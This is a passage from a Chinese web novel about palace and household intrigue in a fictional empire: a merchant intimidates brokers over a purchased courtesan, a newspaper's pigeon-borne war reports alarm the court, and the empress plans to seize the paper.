司马椿蕾恶狠狠的看了泣珠儿一眼,搂着林臻的手臂走远了。 第530章 敢跟我要钱? 两人在静心园的凉亭坐下时,司马椿蕾还气鼓鼓的攥着小拳头。 这个醋坛子啊,可怎么办。 林臻望着她那气鼓鼓却又藏着关心的模样,忽然觉得头疼。 他舀了勺鸡丝粥,听见远处传来焦尾琴的泛音——定是泣珠儿回到听琴居,正在试弹昨夜未弹完的段落。晨光里,司马椿蕾的东珠手链与泣珠儿的琴穗交相辉映,像两串不同的音符,在王府的晨风中,奏着属于各自的曲调。? “夫君快吃。”司马椿蕾忽然将碟子推过来,里面是切得整整齐齐的酱牛肉,“这是臣妾亲自切的,刀工可比家里的厨娘们强多了。” 林臻笑着摇头,忽然想起昨夜泣珠儿弹琴时,指尖在琴弦上留下的血痕。或许,这王府里的每个女子,都有自己的琴弦与曲调,而他能做的,便是让每根琴弦都能自在震颤,无论是焦尾琴的裂响,还是东珠链的清鸣。 ...... 卯时三刻的阳光刚爬上赌场飞檐。 三楼的包厢里,张俪气定神闲的摩挲着翡翠镯,时不时拿到阳光下看一看,对对面恭恭敬敬站着的两人视若无睹。 毕主持脑袋冒汗,身后站着一位中年妇人,正是醉仙阁的王妈妈,也是泣珠儿的养母、教习。 此刻两人不停的用帕子反复擦拭额角。 “张老板。” 毕主持堆起满脸褶子,声音里带着讨好的颤音:“咱们明人不说暗话,昨夜陛下说的那一万两银子......请你原谅,我也不敢去找世子要啊,还希望您能帮帮忙,行个好吧,要不然我们这趟就赔死了。” 张俪看了看她,放下手,端起羊脂玉盏轻啜普洱,茶汤在舌尖滚出陈香。 “张老板...” “您...” “世子何时说过要给你们银子啊?”她眼尾微挑,望着两人瞬间绷紧的脊背,“还是说,你们把陛下的赏赐,当成了可以讨价还价的买卖?” 王妈妈的帕子绞得变了形,指尖露出保养得宜的丹蔻:“张老板,您瞧您这话说的,咱都是商人,道理都是一样的。我们醉仙阁养了泣珠儿十三年,琴棋书画样样精通,模样更是整个扬州城最俊俏的,去年扬州兴达商号出价一万五我们都没买,现在来了京城,总不能让咱们倒贴人吧?” 说到这,她刻意提高声调,“昨夜大剧院里北燕商人都出到九千两,陛下金口一开赏给世子,咱们牙行总得有个交代吧?” “所以你们是要世子补这一万两的差价?”张俪忽然轻笑,翡翠镯在黄花梨桌面上磕出清脆声响,“毕主持在扬州混了二十年,该懂王府的规矩,皇家赏赐是恩典,哪有回头跟臣子要钱的道理?” 毕主持的喉结重重滚动,额角沁出细汗:“张老板明鉴,咱们不是讨钱,是实在没法跟扬州的东家交代......毕竟这不是小钱,这可是一万两啊!” “你们是怕赔了夫人又折兵吧?”张俪打断他,指尖敲了敲桌面,“买进她时五两银子,养到十六岁花了三百两,本想卖个千两赚一笔,没想到被陛下截了胡。” 她忽然抬眼,目光如刀般剜过王妈妈的脸,“但你们忘了大乾律例,瘦马一经官府备案,便是主子私产,牙行再无置喙余地。” 王妈妈的脸瞬间煞白,帕子边缘的流苏在风中轻轻晃动:“张老板这是要拿官律压人?” “压人?”张俪猛地起身,月白色旗袍的开衩处露出绣着暗纹的小腿,“你们在扬州做的那些事,给瘦马灌哑药、在胎记上刺假朱砂、用烙铁烫标记,当我不清楚?” 她指了指案头的牛皮纸信封:“昨夜世子进宫前,刚让刑部侍郎盖了加急文书。” 毕主持扑通跪下,膝盖砸在青砖上发出闷响:“张老板饶命!银子我们不要了,这就回扬州!” “想走?呵。”张俪冷笑了一声,说道:“倒不是说我要以势压人,而是为你们好。” 毕主持嘴角一抽:“为我们好?” “老毕,你是扬州名嘴,但不是商贾,你不明白很正常。包括这位教习,你们都不是老板,不懂这里面的规矩。但是我跟你们打包票,如果你们老板知道了,他用一名瘦马就和王府搭上了关系,他会乐疯的。” 毕主持的喉结重重滚动,额角沁出细汗:“请张老板明示......”? “明示?”张俪放下茶盏,声音陡然冷下来,“王府从无花钱买瘦马的规矩。陛下赏赐是恩典,你们追着要钱,就是打世子的脸。” 她扫过王妈妈发白的脸,“想想看,若让其他商贾知道,给世子送礼还要讨价还价,谁还敢跟你们合作?” 王妈妈的帕子啪地掉在地上:“没有没有,我们不敢......我们只是实在周转不开了.....”? “周转不开?整个大乾的商贾都要看世子的脸色,他说谁能富谁就能富,让谁死谁就死,在大乾,世子就是天!你们若执意要这一万两,明日我就让漕帮停了醉仙阁的货船,瘦马再好,到不了京城也是白费。” 毕主持扑通跪下,膝盖砸在青砖上发出闷响:“张老板饶命!是我们不懂规矩!” 他扯着王妈妈的衣袖,后者还在嚅动嘴唇,却被他狠狠掐了把胳膊。? “懂规矩就好,大乾的商人都明白,给权贵送礼是面子,不是买卖。”她望着两人颤抖的背影,“这次就算了,若再让我听见醉仙阁在背后嚼舌根。” “不敢不敢!”毕主持慌忙磕头,额角蹭得通红,“泣珠儿就当是我们孝敬世子的,银子分文不要!我们这就回扬州。” 他扯起王妈妈就往外走,后者心疼得直皱眉,却被他低声骂道:“蠢货!没听见她说断货船?银子重要还是生意重要?” 张俪望着两人落荒而逃的背影,忽然冷笑。窗外传来赌场的喧嚣,骰子声、欢呼声混着茶香飘进来。 她指尖划过案上的《商道须知》。 毕主持终究是懂了,在大乾商界,得罪谁也不能得罪能捏住他们命脉的人。? “来人。”她敲了敲桌沿,“去告诉扬州分号,给醉仙阁的供货价涨三成。” 第531章 河曲大捷 巳时三刻的阳光斜照在青石板路上,林臻刚下朝回来,腰间的玉带还未松解。 天气越来越好了,林臻也懒得坐马车。 第一是因为马车过于高调,出行的时候百姓见到全都要停身行礼,很耽误事情。其次马车里的空间太小,林臻坐一会儿便会感觉到压抑。 阳光不错,侯春跟在林臻身后,哥俩组成一个帅气组合,引得路过美少女纷纷侧目。 林臻说:“猴子,你岁数也不小了,该结婚了吧?” “世子去年不是说要给属下介绍一个么?”侯春这话说得不咸不淡,好像有点埋怨的意思。 林臻尴尬地摸了摸鼻子,说,“一定一定,这次一定给你介绍个好的!” “不用了,其实属下已经心有所属了。” “哦?谁家的姑娘?钱的问题不用担心,我有。” “不不不,世子给属下的月例足够结婚的,但是...她是大家闺秀,咱是当兵的大老粗,所以属下一直不敢对她开口。” 侯春难得露出一丝腼腆的神情,这倒是让林臻更加好奇。 大家闺秀? 这个类别倒是符合他的性格,当初林臻说要把青竹赏赐给他的时候,他还嫌弃人家身份不要,这件事情给青竹造成了一定的心理伤害,以至于那妮子现在就跟着王爷。 王爷去哪她去哪,即便在前线也是如此。 这真是应了那句老话:当不成你媳妇,那我就当你奶奶。 林臻说,“你说了半天到底是谁家姑娘啊?” “礼部主簿的闺女,叫郭然,小名然然。今年十六岁。” “嗐,你说的是老郭家那个闺女啊?就是八岁写出的诗文能卖钱那个小丫头?” “对对对。”侯春点头如捣蒜似的,“就是她!上次属下去给玲儿准备襁褓,在布庄买布,遇到她和她的丫鬟出来,当时属下就喜欢上她了,但是后来一打听,才知道人家是大家闺秀,咱哪能配得上啊。” “胡说八道,你是我林臻的护卫,一人之下万人之上,有什么配不上的?等着,这门亲事我亲自去说。” “多谢世子,但...”侯春变得支支吾吾的。 林臻不耐烦地说:“有什么就说,嘟囔什么?” “是,属下不想强迫她,如果她不愿意的话,就别强求了。” 林臻很正经地看了看他。 按理说,侯春也算传统男性,居然还在乎女方怎么想,看来他是真喜欢上郭然了。 林臻点点头,算是答应了下来。 但是他知道,就算然然不愿意,她父亲郭鑫也会强迫她愿意。 因为这是能和林臻搭上线的最好方法,除此以外,明眼人都知道,侯春的成就远不止于此,可以说前途无量。 况且侯春没有什么家人,底子也干净,可以说帅气多金,年轻俊美。 郭鑫会答应这桩婚事的。 “号外!号外!” 两人走着走着,便听见前方传来孩童尖锐的叫卖声。 街角处,一个扎着冲天辫的男孩浑身插满报纸,腰间系着的粗布围裙上歪歪扭扭绣着大乾时报字样,手里挥舞着泛黄的宣纸,跑得小脸红扑扑的。 “号外号外!摄政王攻克河曲,大乾兵锋直指北燕皇城!号外!” 他的布鞋磨得发亮,每跑几步便要伸手按住头顶的报纸,生怕被风吹散。? 侯春手按刀柄护在身后,望着男孩衣襟上印着的报头,眉头微蹙:“世子,这不对啊,军机处三天前还说河曲之战胶着,北燕军负隅顽抗,怎的今日就攻克了?” 他的目光扫过街道上围拢的百姓,卖豆腐的老汉正踮脚看报,茶馆里的茶客们争相传递纸张,油墨味混着蒸腾的水汽飘来。? “王爷就是牛逼啊!” “你看,现在全世界谁还能打得过大乾!?” “我们大乾士兵就是英勇!这次定要好好拾掇这些北燕的狼崽子。” “大乾无敌!” 林臻听着百姓欢呼声,脸黑的像锅底。 他停步接过侯春买回来的报纸,指尖触到宣纸上未干的墨迹,油墨味混着街角烧饼摊的麦香扑面而来。 宣纸右上角盖着朱砂印的加急二字,头条标题用粗笔写着“摄政王铁骑破河曲,北燕守将夜遁逃”。 内文详细记载了交战时间、兵力部署,甚至用木炭条画了简略的攻防示意图,箭头直指北燕皇城方向。? “军机处有消息传回来吗?”林臻指尖划过纸上的朱砂批注,目光扫过街巷上来回奔走的报童,他们腰间的牛皮包里塞满报纸,像一群不知疲倦的麻雀。? 侯春低头抱拳道:“回世子,末将今早刚查过军报,别说攻克河曲,连王爷的帅帐动向都未更新。” 他凑近半步,压低声音,“末将前日还见军机处的八百里加急马队在路上,这报纸却比军报早两日,怕是有暗线直通前线。” 青石板路上,卖糖葫芦的老伯正给报童递山楂,竹棍上的红果映着阳光:“小顺子,给爷爷留张报!” 男孩忙不迭塞过一张,又转身跑向绸缎庄,衣摆带起的风掀起报纸边角,露出内页战地记者亲历的小标题。? 林臻将报纸折起塞进袖口,墨玉扳指在阳光下泛着冷光:“去报社。” ...... 报社位于朱雀大街西首,原先的青瓦小院已扩建为三进的宅院,门前两盏气死风灯还未撤下,灯面上绘着“铁笔如刀,直书天下”的对联。 东西两侧的绸布庄和米铺被打通,朱漆大门敞开着,十几个小厮抱着刻版进进出出,院墙上钉满木板,贴满各地送来的消息纸条,风过时发出沙沙的响声,像无数只蝴蝶在振翅。? 跨过门槛时,林臻听见东厢房传来激烈的争论。 “这篇写摄政王粮草不足的稿子绝对不能发!” “可战的记者王三牛亲眼看见运粮队遭北燕骑兵突袭!王爷那边缺粮草是事实啊!” “事实也不行,你这样一来会给群众造成恐慌,损害王爷的权威!” “我们做编辑的不就是要把事实公之于众吗?否则还要我们做什么!” “你!” 油墨味更浓了,混合着后院印刷坊传来的炭火气息,显见工匠们正在赶制新的刻版。? 主厅内,主编陈墨正伏在雕花案上写稿,狼毫在宣纸上走得飞快,鼻尖几乎要碰到纸面。 听见脚步声,他头也不抬:“今日新闻已截稿,有事明日——” 抬头看见林臻腰间的羊脂玉麒麟佩,立刻扔下笔起身,衣摆扫落案头的铜镇纸,惊起一阵墨香。? “参见世子!”陈墨慌忙作揖,发间还别着根记录用的炭笔,袖口沾着点点墨迹,“不知世子大驾光临,有失远迎!” 他弯腰捡起镇纸,案头堆积的文稿里,一张绘着北燕皇城布防图的纸张滑落,边角处标着战地记者王三牛绘,城墙缺口处还用红笔圈出可强攻三字。? 林臻扫过地图上的红绳标记,那些据点用不同颜色的丝线连接,宛如一张巨大的蛛网:“河曲之战的消息,你们如何得知?” 他的手指敲了敲报纸上的头条,声音里带着一丝冷意。? 陈墨一愣,目光落在林臻手中的报纸上,喉结滚动两下:“世子还不知?咱们报社在前线派了三十名战地记者,各个扮成商队伙计、流民,甚至有胆大的混入北燕军营了。” 他指向墙上悬挂的牛皮地图,河曲城处贴着张染血的纸条:“他们用飞鸽传书送回消息,而且基本每天都有新消息,八百里加急再快也追不上鸽子啊。”? 侯春凑近地图,看见河曲城标记旁画着只展翅的鸽子:“飞鸽传书?军中信鸽都有特殊标记,你们的鸽子如何避开检查?” “回大人的话。”陈墨从案头抽出个锦囊,里面装着指甲盖大小的银哨,“咱们用的是漠北雪鸽,羽毛纯白无杂,北燕人只道是寻常野鸽。” 他捏起银哨轻吹,声音尖细如蚊呐,“每只鸽子腿内侧都绑着浸过密药水的绢布,消息用米汤书写,火烤即显。” 林臻指尖划过地图上的红绳,想起方才报纸上的攻防图,与他所知的军机处密报几乎一致:“这些消息,比六百里加急快多久?”? “最少快两日!”陈墨语气里带着自豪,却在触到林臻冷凝的目光时低了声音。 “上月的定襄之战,咱们的记者藏在粮草车里,王爷刚破城,消息就传回了。有些将士托记者带出的家书,比军邮快了整整十日。”? 主厅西侧的隔间里,三位副主编正在校稿,其中一人突然举着竹简冲出,腰间的校稿玉佩叮当作响。 “主编大人!北燕援军动向有误,战地记者新传信——”副主编看见林臻立刻噤声,竹简“啪”地掉在地上,滚到林臻脚边。? 林臻弯腰捡起竹简,看见上面用密语写着“北燕左贤王率军五万驰援河曲”,与报纸上“守将夜遁”的消息截然不同。 “为何报纸上未提援军?” 陈墨额头沁出细汗,抬手擦了擦:“回世子,咱们有规矩,对军心不利的消息需等军机处确认后再发。”他翻开条例,指着其中一条:“就像今日河曲大捷,也是等三位记者的消息相互印证,又派飞鸽去军机处核实,才敢刊发的。” 院外忽然传来鸽哨声,比寻常鸽哨更尖锐几分。 一只白羽鸽子掠过天井,翅膀上绑着染血的绢布,落地时险些栽倒。 陈墨慌忙接住,拆出里面的纸条,手指颤抖着展开,脸色剧变:“世子,刚收到最新消息——河曲守将诈降,王爷中了埋伏!”? 侯春立刻按刀上前:“报上不是说攻克了吗?” 林臻抬手制止,目光落在纸条上的血手印,那掌纹清晰可见,显见是紧急时刻按上去的:“你们的记者,现在何处?”? 陈墨声音发颤:“王三牛就在河曲城头。这是他用自己的血写的!” 他指向地图上河曲城的标记,“昨夜子时发出的信,按路程,此刻鸽群应该刚过雁门关。”? “够了。”林臻忽然转身。 “立刻停发所有关于河曲的消息,违者按通敌论处。”他望向陈墨煞白的脸,“明日随我进宫,好好向陛下解释你们的战地记者。”? “世子,下官...下官也是想把真实情况弄清楚啊,世子!世子!” 林臻根本不理他,心情沉重地走出报社。 他不相信林震仙会败,就算是北燕守将诈降也是一样,王爷不会看不出他们的小把戏。 而报社之所以能接到这样的消息,是因为战地记者没有经过系统的训练,根本不知道什么消息应该传,什么消息应该等,什么消息应该装作不知道。 能自行发展出战的记者,林臻很欣慰,但是现在的官员都太着急了。 他们是一门心思地往上爬,只要有政绩,其他的都顾不上。 这可不行。 得想个办法,治理这种现状。 走出报社时,阳光已偏西,报童们还在叫卖河曲大捷,声音里带着天真的雀跃。 百姓们簇拥着讨论战事,有老者捋须赞叹摄政王神勇,有妇人担心儿子的安危。 林臻望着街角烧饼摊腾起的热气,想起纸条上的血手印。 那些藏在商队里、流民中的记者,此刻或许正躲在北燕箭塔下,用米汤在绢布上书写最后的战况。? 侯春动了动嘴,说道:世子,这些记者虽然坏了规矩,却比军机处的探子还厉害。"? “厉害过头了。”林臻望着报社门楣上的新闻济世匾额,字迹在暮色中显得模糊,“当百姓都信报纸胜过信军报,当军情比军报早两日传遍街市,这天下的视听,便不再握在朝廷手中了。这不是好事儿啊。”? 暮色渐起时,报社后院的印刷坊还在赶工,刻版与宣纸碰撞的声音此起彼伏。 陈墨望着案头未发的援军消息,手指摩挲着银哨,忽然听见窗外传来马蹄声。 那是军机处的快马。 铁蹄敲打着青石板,带来真正的河曲战报,却比他们的鸽子晚了整整两日。 “主编大人,河曲战况突变。” 第532章 看你明天怎么交代 卯时初刻,檀香混着龙涎香的气息在慕容嫣寝殿内萦绕。 她望着铜镜中自己眉间的花钿,指尖轻轻划过案头的《大乾时报》,头版河曲大捷的标题刺得眼睛发疼。 林震仙的捷报还未传回,民间的报纸却先一步传遍天下,这让坐在龙椅上的女帝,感到前所未有的危机感。 鎏金香炉里的香灰簌簌落下,在明黄色的缎面桌布上积成小小的山丘,如同她此刻沉甸甸的心思。? “这样下去不行,所有战地记者都以能传回第一手情报为荣,长期以往,朝廷的秘密就藏不住了。”慕容嫣粉拳砸在化妆台上。 身后的麝月和无舌大气都不敢喘。 眼下她没有人可以商量,倔强的性子又不想什么事情都找林臻,只能自己生闷气。 慕容无舌想了想,说道:“陛下,老奴认为这件事情有好有坏,如果陛下可以将这股力量掌控在手中,加以教育,那战地记者就是比百骑司更加靠谱的情报人员。况且,他们的飞鸽传书技术比百骑司要成熟的多。” “朕担心的是长期以往,朝廷的秘密藏不住,百姓不能什么事情都知道。他们应该知道什么,能知道什么,都应该由朝廷左右。” “陛下圣明,所以老奴认为这件事情必须立刻禁止,不管是战地记者还是报社,都应该由陛下掌控。” “呵。”慕容嫣冷笑道,“报社是林臻创办的,官员也是林臻任免的,甚至连俸禄都是王府在供,你认为那些记者会听朕的?” 无舌说:“陛下多虑了,不管是世子还是陛下,总归是一家人,那一家人就没有说两家话的道理。世子可以任免,您也可以任免啊,而且比世子更加的师出有名。再说,那么多战地记者为什么前赴后继的想去前线,还不是想混个功与名。如果您打算彻底控制报社,就许出些许利益,他们自然会心甘情愿的跟随陛下,至于那些不听话的战地记者,杀了便是。” 慕容嫣觉得无舌说的很有道理。 本来就是嘛,夫妻一体,什么你的我的,还不都是我们的? 慕容嫣笑了,点点头,说道:“呵呵呵,有道理,无舌,明天叫陈墨进宫。” “老奴遵旨。” “嗯,退下吧,朕要休息了。” 忙碌了一天,慕容嫣虽然不累,但还是保持着良好的作息。 况且今天的奏折不多,已经批阅完毕,她当然也想好好睡一觉。 早就吩咐了人准备洗澡水,麝月走过来弯下腰,在慕容嫣耳边轻轻的说:“陛下,可以洗澡了。” “嗯,走吧。” ...... 四月末的兴庆宫里,牡丹开得正盛,胭脂色的花瓣飘进浴殿的琉璃瓦,落在凤凰纹的汉白玉池沿上。 慕容嫣浸在温热的玫瑰浴汤里,水面浮着新鲜的芍药花瓣,袅袅雾气升腾,将她裸露的香肩笼在薄纱般的水汽中。 这浴缸足有丈许见方,她修长的双腿在水中交叠,膝头恰好露出水面,小腿线条如天鹅颈般优美。 “陛下,水该添些热汤了。”贴身侍女麝月捧着鎏金汤壶,隔着翡翠屏风轻声禀告。 自慕容嫣登基以来,这浴殿便成了她唯一能卸下皇权的地方。 只不过以前是浴桶。自从林臻打造桑拿浴之后,这里也变成了洗浴中心才有的大型浴池。 在浴池边缘,林臻还特意设计了一个可以躺下的凤凰脊背凹陷,恰好让慕容嫣舒舒服服的躺下,还不会咯到。 “进来吧。”慕容嫣懒懒地挥了挥手,玉臂划过水面,溅起的水珠落在池边的紫水晶帘上,叮咚作响。 麝月垂眸走进来,手中攥着新换的粗麻毛巾。 这是慕容嫣特意吩咐的,说细绢太滑,擦不出筋骨的爽利。? “哗哗哗——” 热水倒进去,池子里立刻开始升温,慕容嫣舒服的呻吟一声,浴汤漫过精致的锁骨,映得肌肤如暖玉生烟。 “陛下,您感觉如何?” “甚是舒坦。”慕容嫣拨弄了一下花瓣,笑道:“你这小妮子真是越来越会伺候人了。” “奴婢不敢。” “呵呵呵,看到你,朕就总想起嬛嬛。唉。”慕容嫣叹了口气,“当初真该留她一命。” 麝月不敢接话,就这么静静听她说着。 “朕最近总是做梦,梦到那个臭妮子站在小时候掖庭的戏台子上,对着朕唱《九重天》。呵呵呵呵,那是她八岁那年有机会伺候父皇寿宴时,站在后台听到的。后来她就自己总唱,总唱,唱的越来越好,直到朕当了皇帝,她便再也没唱过。” “说实话,朕有点想她了,当初虽然她犯了错误,但怎么样也不应该把她赶出皇宫。不应该啊,不应该。” “她死的那天,朕梦到她了。梦到她跪在朕的面前不停的磕头,说下辈子她绝不会再犯错误,绝不会再背叛朕,让朕把她忘了。这个臭丫头,连死了也不消停。” “如果她不那么执拗,如果她能活到今天,朕一定给她个大富大贵,甚至可以让她出去结婚,生子,朕养活他们全家一辈子。可惜...可惜啊...朕再也见不到这位好姐妹了。” 慕容嫣就这么说着,麝月就这么听。 她能听出来,今天的慕容嫣很是伤感,很是缅怀。 嬛嬛的事情她是知道的。 想当初,嬛嬛可是皇宫里的风雨人物,就连慕容无舌都对她礼让三分,可最后却是那么个下场。 “所以说,选择一个好男人是多么重要啊,朕很庆幸当初选择林臻做朕的夫君。呵呵呵呵。” 麝月跪在池边,用毛巾轻轻擦拭她的肩颈,指尖触到蝴蝶骨下方的印记。 她忽然发现,这道印记与林臻胸口的一模一样。 只不过她的印记生在左肩,而林震仙的在右肩,仿佛阴阳相照。 “麝月啊。”慕容嫣沉默少许,忽然开口,指尖拨弄着水面的芍药,露出一截白皙的小臂,腋下的肌肤细腻得能看见淡青色的血管。 “你说朕直接把报社要过来怎么样?钱我们自己出。” 她闭着眼睛,睫毛在眼下投出蝶翼般的阴影。 麝月低头盯着毛巾上的凤凰暗纹,小心翼翼道:“奴婢不敢妄议朝政。” 她偷眼望去,见陛下的身体浸在汤里,只上面的部分露出水面。 “呵呵呵,别那么紧张,先聊天嘛。”慕容嫣忽然轻笑,伸手接过麝月递来的玫瑰露,涂在指尖轻轻揉搓,双臂抬起时,腋下的软肉微微鼓起。 麝月说:“可是奴婢不懂报社,也不懂朝政。” “内务府现在账面有多少结余?” 麝月盯着她的身材,咽了咽口水,低声道:“世子每月都会给宫里送白银五万两,账面结余除却做凤袍和日常开销大概有一万两的剩余。”? “才一万两?夫君也真是的,多给朕些钱能怎么样嘛?还非要朕去抢?” 慕容嫣挑眉,指尖弹了弹水面。 她哪里知道,林臻秉承的理念就是慕容嫣手头的钱绝对不能多。 一多就要出事儿。 慕容嫣娇嗔着忽然转身,修长的脊背露出水面,蝴蝶骨下方的印记在水汽中格外鲜艳,却被浴桶挡住。 浴汤顺着脊背流下,在凤凰图上勾勒出优美的曲线,腰肢细得能握住。 “不管了,一万两估计也足够,明天朕就把报社要回来,就不信夫君不给。” 夫君二字说得极轻,却让麝月的睫毛剧烈颤动。 “世子当然会听陛下的,陛下说的话可是圣旨呢。”麝月低头擦拭慕容嫣的手臂,目光却忍不住飘向她的胸脯,暗暗与自己的小巧做对比。 慕容嫣却摇头:“不是那么简单的。夫君表面上虽然是臣,但同时也是朕的当家人。很多事情对别人可以硬来,对他不行。夫妻间,还是要有起码的尊重。”话尾消失在水汽里,她忽然伸手接过麝月手中的毛巾,自己擦了擦发梢。 浴殿外传来宫娥换班的脚步声,慕容嫣忽然想起什么,问道:“诶?该说不说,那承煜怎么样了?这么长时间换朕也没工夫去看看孩子。” 麝月嘴角露出一丝笑意:“王府来送礼品的人说,小少爷长的很快,而且特别能吃。” 说着话,她看了看慕容嫣的胸脯:“就是陛下这个尺寸的胸,都不够他吃的。” 慕容嫣先是一怔,随即笑出声来:“哈哈哈哈,你这妮子,居然敢拿朕打比方!” “奴婢知罪。” “不过那也太能吃了吧?这很不正常,有没有请大夫看过?” “请了。大夫说没事,只要正常喂即可。但现在王府里四个奶娘加上晴雯夫人,五个人喂养才勉强能吃饱。” “这就奇怪了,晴雯的寸尺也不小啊。不行,得机会朕得回去看看,对了,上个月秦国送了很多骆驼过来,朕听说骆驼奶对孩子好。你让内务府去接奶,隔三差五的给小承煜换换口味。”? 麝月连忙应下。 慕容嫣洗的很舒服,站起身让麝月给自己擦干净,然后换上宽松的睡袍,回到前面的寝殿。 进殿后她走向妆台,镜中映出她高挑的身材,腰肢细得能盈盈一握,而胸脯却丰满得像两座小山,把明黄缎面睡袍撑得紧绷绷的,领口开得很低,露出大片雪白。 妆台上摆着叠得整整齐齐的密报,最上面的一份写着“世子昨夜宿听琴居”。 “听琴居?”慕容嫣疑惑的问,“麝月,王府有听琴居吗?” “据内人回禀,听琴居是以前王府招待一位乐师打造的,后来便当做了客房。而且...” “而且什么?”慕容嫣瞬间变得警惕起来。 麝月不自觉的压低声音:“而且世子把听琴居分给了那个瘦马泣珠儿,昨晚他们在一起睡的。” “他还真和那个泣珠儿睡在一起了!?真是气死朕了!” 本来慕容嫣都快把这件事情忘了,毕竟只是个戏子、瘦马,她发发脾气让林臻付钱也算惩罚。 可谁知道林臻居然顺杆子爬,真把泣珠儿睡了,还特意给他分了个院子。 “林臻,朕明天看你怎么解释!!” 慕容嫣气鼓鼓的坐下,任由麝月为她梳理长发。 窗外,暮色中的牡丹被晚风吹得簌簌作响。 “陛下,夜深了。”麝月轻声提醒。 慕容嫣爬上床,怒气未消。 麝月见差不多了,便吹灭烛火,转身走了出去。 就在这时,慕容嫣突然坐起来,说道:“明日让内务府直接把骆驼牵到王府去!就说是......” 她顿了顿,嘴角勾起一丝坏坏的笑意,胸脯在睡衣下轻轻颤动,“就说是朕这个母亲给儿子的见面礼。” 母亲? 麝月有些发愣。 不仅是林臻,就连慕容嫣本人也说过,王府的规矩和别家不同,该是谁的孩子就是谁的孩子,而不是小妾生的孩子管当家主母叫母亲。 就这一点,连一向拧巴加传统的上官婉儿都没有说什么。 这怎么还突然就自称为母亲了呢? 难道说陛下...... 麝月不敢迟疑,躬身说:“奴婢遵旨。” 慕容嫣闻言这才心满意足的躺下,抱着自己的凤凰枕头,痴笑着说:“小样,敢谁泣珠儿,看你明天怎么和家里人交代!” 月上树梢,慕容嫣睡得深了。 她又做了个梦,梦里有个人一直在告诉她以后不要洗澡了。 梦魇一般的话在脑海一遍遍重复,不停的告诉她洗澡这件事情是涩情而且低俗的。 慕容嫣不懂,但是她觉得好厉害。 原来这个世界还有很多奇妙的事情,比方说。 在皇宫里洗澡也会被卡。 ...... 翌日早朝。 林臻还是站在队伍的最前面打着哈切。 其实他很讨厌这种屎上雕花的无聊会议,可偏偏王爷外出打仗不在家,他只能来参议朝政。 不经意见看了看慕容嫣,发现她在看自己的时候眼睛不是眼睛,鼻子不是鼻子的。 这是怎么了? 我也没惹她啊。 林臻有些纳闷,不过他不打算管。女人嘛,总是有些奇奇怪怪的想法,当她无缘无故生气的时候,就是她作妖的时候。 男人能躲则躲,如果你非要迎上去问,不分原则的哄,那是脑残。 第533章 这报社朕要了 暮春的金銮殿。 慕容嫣端坐在九凤鎏金椅上,看底下大臣像蝼蚁般退潮,嘴角还噙着晨起时的那抹笑。 林臻果然与户部、兵部尚书起了争执,本来今天就该运到雁门关的粮草至今才走到一半,这是消极怠工的结果。 兵部尚书刘恺威可是他老丈人,此刻被林臻骂得一愣一愣的,根本不敢还嘴。 户部尚书更别提了,他是慕容嫣的人,林臻骂起来更是没有一丝一毫的心理负担。 至于刘恺威散朝后怎么骂户部尚书,林臻就不管了,他已经下达最后通牒,如果两日内粮草还运不到雁门关,他就要治罪。 慕容嫣全程看着,甚至连一句嘴都没插,最后散朝的时候户部尚书一脸委屈的看着她。 “陛下,陈主编已在养心殿外候着了。” 回去的路上,无舌佝偻着腰,手中拂尘上的翡翠珠子碰着鎏金门槛,发出细碎的响。 慕容嫣点点头,忽然,她发现站在无舌身后的小太监在她胸前看了看。 也不知道是不是她的错觉,她最近总觉得所有太监的目光都带着几分侵略性,这让她很是不爽。 她停下身,问道:“你看什么?” 跟在无舌身后的小太监一愣,随即噗通一声跪了下去:“陛下,奴才什么也没看啊!” 无舌也是不明所以。 这小太监是他的徒弟,跟着自己也算有年头了,慕容嫣怎么会突然对他发脾气呢。 无舌问道:“你这逆子,还不赶紧说,刚才都看了什么?” “干爹,我真的什么都没看,一直看着脚面。” “哼。”慕容嫣冷哼一声。 自己的胸脯只有林臻可以看,其余人谁看谁死。 “以后注意点你的眼睛,否则朕就替你挖了它。” “是!!”小太监吓得浑身直哆嗦。 养心殿的紫檀木门推开时,迎面扑来沉水香与玫瑰露的混香。 麝月正跪在凤案前,更换案头的熏香,淡青襦裙勾勒出纤细的腰肢,发间别着的白蝶兰恰好落在肩胛骨上方。 慕容嫣望着侍女弯下腰时露出的后颈,忽然想起去年麝月还是个平平无奇的小丫头,如今却已出落成大姑娘了。 “奴婢参见陛下。”麝月连忙起身,手中的鎏金香盒差点打翻。 她偷眼望去,见慕容嫣正解开冕冠的系带,乌发如瀑般垂落,雪腻的肩颈在明黄缎面的映衬下愈发白皙,胸脯随着呼吸轻轻起伏,竟将缎面上的金线凤纹撑得活了过来,仿佛随时会顺着丰满的曲线腾飞。? “愣着作甚?”慕容嫣轻笑,指尖划过麝月的发梢,“去换盏新茶来,要今年的蒙顶甘露。” “奴婢遵旨。”麝月红着脸退下。 "陛下,茶好了。"很快麝月便回来,跪在榻前奉茶,指尖触到陛下的手腕,触手生温,竟比茶汤还要暖些。? 慕容嫣端起茶盏,忽然瞥见麝月胸前的衣带松了些,露出细瘦的锁骨和一小片白皙的胸脯。 比起自己的丰满,这丫头还像个未熟的青桃,胜在玲珑可爱。 “你这小妮子。”她忽然轻笑,“身材倒是越来越好,再过两年,怕是夫君都该睡不着觉了。” 麝月的脸顿时红透,手中的茶盏差点打翻:“陛下说笑了,奴婢哪有...奴婢不敢...” “好了,去门口守着吧。”慕容嫣挥了挥手。 忽然想起林臻曾说,麝月的腰比她的手腕粗不了多少。 也不知道真的假的。 该说不说,以前和嬛嬛在一起两人无话不谈,自然也看过彼此的身体,但是麝月从来没有僭越过,自然也就不知道。 如此看来,晚上还真该好好逗逗她呢。 “无舌,叫陈墨在前殿跪候,朕这就过去。” 无舌在廊门外答应一声。 很快,慕容嫣换了身舒服的凤袍,来到养心殿,最终在凤椅上坐下。 看着跪在地上战战兢兢的陈墨,说道:“陈爱卿平身吧。” “谢陛下!!” 陈墨站起来,低着头不敢去看慕容嫣。 他只是个从七品的小吏,在这四九城里连芝麻绿豆都算不上,如今却能得到皇帝的亲自召见,可见是有什么事情,必须得由皇帝亲口说不可。 他心里是清楚的,但是他不敢问,更不敢直视慕容嫣的盛世容颜。 慕容嫣坐在凤椅上,表情似笑非笑的盯着他:“知道朕为什么叫你来么?” “回陛下,微臣不知。” “呵呵呵呵,陈爱卿可是不老实啊。” 陈墨即便心里知道些,也不敢直接说。 面对慕容嫣相当于威胁的话,他只能回答:“陛下,臣惶恐,臣对陛下可是忠心耿耿,绝无二心啊!” 这样的话慕容嫣每天都得听好几天,耳朵都听的起茧子了。 她烦躁的摆摆手:“行了吧,说说战地记者的事情。” 